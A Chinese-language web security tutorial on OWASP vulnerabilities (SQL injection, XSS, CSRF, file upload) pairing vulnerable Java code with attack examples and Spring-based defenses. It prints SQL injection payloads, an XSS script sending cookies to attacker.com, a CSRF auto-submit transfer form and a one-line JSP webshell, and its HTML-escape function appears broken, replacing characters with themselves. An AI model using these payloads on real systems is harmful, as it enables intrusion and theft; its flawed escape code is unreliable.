摘要: 本文深入剖析OWASP Top 10常见Web安全漏洞的原理、利用方式及防护方案,通过真实案例和代码演示,帮助开发者构建安全可靠的Web应用系统。
一、SQL注入:数据库的第一杀手
1.1 漏洞原理分析
危险代码示例:
java
// 漏洞代码 - 字符串拼接SQL
public User login(String username, String password) {
String sql = "SELECT * FROM users WHERE username = '" +
username + "' AND password = '" + password + "'";
return jdbcTemplate.queryForObject(sql, User.class);
}
// 攻击payload
username: admin' --
password: 任意值
// 最终SQL: SELECT * FROM users WHERE username = 'admin' --' AND password = '任意值'
漏洞利用方式:
- 联合查询注入:
' UNION SELECT 1,2,database() -- - 布尔盲注:
' AND length(database())=5 -- - 时间盲注:
' AND IF(1=1,SLEEP(5),0) -- - 报错注入:
' AND updatexml(1,concat(0x7e,database()),1) --
1.2 防护方案
方案1:预编译语句(推荐)
java
// 安全代码 - 使用PreparedStatement
public User loginSafe(String username, String password) {
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
return jdbcTemplate.queryForObject(sql, new Object[]{username, password}, User.class);
}
方案2:MyBatis防护配置
XML
<!-- 安全配置 -->
<settings>
<setting name="useGeneratedKeys" value="true"/>
<setting name="defaultExecutorType" value="REUSE"/>
<setting name="cacheEnabled" value="true"/>
</settings>
<!-- 正确使用#{}防止SQL注入 -->
<select id="findByUsername" parameterType="String" resultType="User">
SELECT * FROM users WHERE username = #{username}
</select>
方案3:深度防护策略
java
@Component
public class SqlInjectionProtection {
// SQL关键词过滤
private static final String[] SQL_KEYWORDS = {"union", "select", "insert",
"update", "delete", "drop", "exec", "sleep"};
public static boolean hasSqlInjection(String input) {
if (StringUtils.isEmpty(input)) return false;
String lowerInput = input.toLowerCase();
for (String keyword : SQL_KEYWORDS) {
if (lowerInput.contains(keyword) &&
hasSqlSyntax(lowerInput, keyword)) {
return true;
}
}
return false;
}
// 最小权限原则
@Bean
public DataSource securityDataSource() {
HikariDataSource ds = new HikariDataSource();
ds.setDriverClassName("com.mysql.cj.jdbc.Driver");
ds.setJdbcUrl("jdbc:mysql://localhost:3306/app_db");
ds.setUsername("app_user"); // 专用应用账号
ds.setPassword("password");
ds.setMaximumPoolSize(20);
return ds;
}
}
二、XSS跨站脚本攻击:前端的安全噩梦
2.1 漏洞类型分析
存储型XSS案例:
<!-- 攻击者提交恶意脚本 -->
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
<!-- 当其他用户访问时执行 -->
<div class="comment">
<script>恶意代码</script>
</div>
反射型XSS示例:
java
// 危险代码 - 直接输出用户输入
@GetMapping("/search")
public String search(@RequestParam String keyword, Model model) {
model.addAttribute("keyword", keyword); // 未转义直接输出
return "search-result";
}
// 攻击URL: http://target.com/search?keyword=<script>alert(1)</script>
2.2 全面防护方案
方案1:输入过滤与输出转义
java
@Component
public class XSSProtection {
// HTML转义
public static String escapeHtml(String input) {
if (StringUtils.isEmpty(input)) return input;
return input.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace("\"", """)
.replace("'", "'");
}
// 富文本白名单过滤
public static String safeHtml(String html) {
if (StringUtils.isEmpty(html)) return html;
Whitelist whitelist = Whitelist.basicWithImages()
.addTags("div", "span", "p", "br")
.addAttributes(":all", "style", "class")
.addProtocols("img", "src", "http", "https");
return Jsoup.clean(html, whitelist);
}
}
// Spring Boot配置全局转义
@Configuration
public class WebSecurityConfig implements WebMvcConfigurer {
@Bean
public HttpMessageConverter<String> responseBodyConverter() {
StringHttpMessageConverter converter = new StringHttpMessageConverter();
converter.setSupportedMediaTypes(Collections.singletonList(
MediaType.TEXT_PLAIN));
return converter;
}
}
方案2:CSP内容安全策略
<!-- HTTP头设置CSP -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' https://trusted.cdn.com;">
<!-- Nginx配置 -->
add_header Content-Security-Policy "default-src 'self'; script-src 'self'";
方案3:前端防护措施
javascript
// Vue.js自动转义
<template>
<div v-html="safeContent"></div>
</template>
<script>
export default {
methods: {
safeHtml(html) {
const div = document.createElement('div');
div.textContent = html;
return div.innerHTML;
}
}
}
</script>
// React默认转义
function Comment({ text }) {
return <div>{text}</div>; // 自动转义HTML
}
三、CSRF跨站请求伪造:隐形的攻击者
3.1 攻击原理演示
恶意网站攻击代码:
<!-- 攻击者网站 -->
<body onload="document.forms[0].submit()">
<form action="https://target.com/transfer" method="POST">
<input type="hidden" name="toAccount" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
</body>
3.2 防护方案
方案1:CSRF Token验证
java
@Controller
public class CsrfProtectedController {
// 生成CSRF Token
@GetMapping("/form")
public String showForm(Model model, HttpServletRequest request) {
String csrfToken = generateCsrfToken();
request.getSession().setAttribute("csrfToken", csrfToken);
model.addAttribute("csrfToken", csrfToken);
return "transfer-form";
}
// 验证CSRF Token
@PostMapping("/transfer")
public String transfer(@RequestParam String toAccount,
@RequestParam BigDecimal amount,
@RequestParam String csrfToken,
HttpServletRequest request) {
String sessionToken = (String) request.getSession().getAttribute("csrfToken");
if (!csrfToken.equals(sessionToken)) {
throw new SecurityException("CSRF Token验证失败");
}
// 处理转账逻辑
return "success";
}
}
方案2:Spring Security自动防护
java
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
.sessionAuthenticationStrategy(sessionAuthenticationStrategy())
);
return http.build();
}
}
方案3:双重Cookie验证
javascript
// 前端自动携带CSRF Token
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-TOKEN': getCookie('csrfToken'),
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
});
// 服务端验证
public boolean verifyCsrfToken(HttpServletRequest request) {
String headerToken = request.getHeader("X-CSRF-TOKEN");
String cookieToken = getCookieValue(request, "csrfToken");
return headerToken != null && headerToken.equals(cookieToken);
}
四、文件上传漏洞:服务器的后门
4.1 漏洞利用方式
危险代码示例:
java
// 不安全的文件上传
@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) {
String fileName = file.getOriginalFilename();
File dest = new File("/uploads/" + fileName); // 直接使用原始文件名
file.transferTo(dest);
return "success";
}
// 攻击:上传webshell
文件名:shell.jsp
文件内容:<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
4.2 安全防护方案
方案1:文件类型验证
java
@Service
public class FileUploadService {
private final Set<String> ALLOWED_EXTENSIONS = Set.of("jpg", "png", "pdf", "doc");
private final Set<String> ALLOWED_CONTENT_TYPES = Set.of(
"image/jpeg", "image/png", "application/pdf");
public void validateFile(MultipartFile file) {
// 扩展名验证
String extension = getFileExtension(file.getOriginalFilename());
if (!ALLOWED_EXTENSIONS.contains(extension.toLowerCase())) {
throw new SecurityException("文件类型不允许");
}
// 内容类型验证
if (!ALLOWED_CONTENT_TYPES.contains(file.getContentType())) {
throw new SecurityException("文件内容类型不匹配");
}
// 文件头验证
if (!isValidFileHeader(file)) {
throw new SecurityException("文件头验证失败");
}
}
private boolean isValidFileHeader(MultipartFile file) {
try {
byte[] header = new byte[8];
file.getInputStream().read(header);
return isJpeg(header) || isPng(header) || isPdf(header);
} catch (IOException e) {
return false;
}
}
}
方案2:安全存储策略
java
@Component
public class SecureFileStorage {
// 重命名文件
public String generateSafeFilename(String originalFilename) {
String extension = getFileExtension(originalFilename);
String uuid = UUID.randomUUID().toString();
return uuid + "." + extension;
}
// 设置安全权限
public void setFilePermissions(File file) throws IOException {
Set<PosixFilePermission> permissions = PosixFilePermissions.fromString("rw-r-----");
Files.setPosixFilePermissions(file.toPath(), permissions);
}
// 隔离存储目录
public File getSecureStoragePath() {
String basePath = System.getProperty("user.home") + "/secure_uploads/";
File dir = new File(basePath);
if (!dir.exists()) {
dir.mkdirs();
}
return dir;
}
}
五、综合安全防护体系
5.1 安全编码规范
java
// 安全编码检查清单
@Component
public class SecurityChecklist {
// 1. 输入验证
public boolean isValidInput(String input, String pattern) {
return input != null && input.matches(pattern);
}
// 2. 输出编码
public String encodeForContext(String input, Context context) {
switch (context) {
case HTML:
return HtmlUtils.htmlEscape(input);
case JavaScript:
return JavaScriptUtils.javaScriptEscape(input);
case URL:
return URLEncoder.encode(input, StandardCharsets.UTF_8);
default:
return input;
}
}
// 3. 错误处理
public void handleError(Exception e) {
// 记录日志但不暴露敏感信息
log.error("操作失败", e);
throw new BusinessException("操作失败,请重试");
}
}
5.2 安全监控与审计
java
@Component
@Aspect
public class SecurityAuditAspect {
@Around("@annotation(org.springframework.web.bind.annotation.RequestMapping)")
public Object auditRequest(ProceedingJoinPoint joinPoint) throws Throwable {
long startTime = System.currentTimeMillis();
HttpServletRequest request = getCurrentRequest();
// 记录请求日志
auditLogger.info("请求开始: {} {}, 参数: {}",
request.getMethod(), request.getRequestURI(), getRequestParams(joinPoint));
try {
Object result = joinPoint.proceed();
long duration = System.currentTimeMillis() - startTime;
// 安全检查
securityCheck(request, result);
auditLogger.info("请求完成: 耗时{}ms", duration);
return result;
} catch (Exception e) {
auditLogger.error("请求异常: {}", e.getMessage());
throw e;
}
}
private void securityCheck(HttpServletRequest request, Object result) {
// 检查敏感操作
if (isSensitiveOperation(request)) {
securityLogger.warn("敏感操作检测: {}", request.getRequestURI());
}
}
}
六、总结
Web安全是一个持续的过程,需要从编码、测试、部署到运维的全生命周期关注。通过本文介绍的技术方案,可以显著提升Web应用的安全性。记住:没有绝对的安全,只有相对的安全。持续的安全意识和及时的安全更新才是最好的防护。
安全开发建议:
- 定期进行安全代码审查
- 使用自动化安全扫描工具
- 建立安全应急响应机制
- 持续关注安全漏洞情报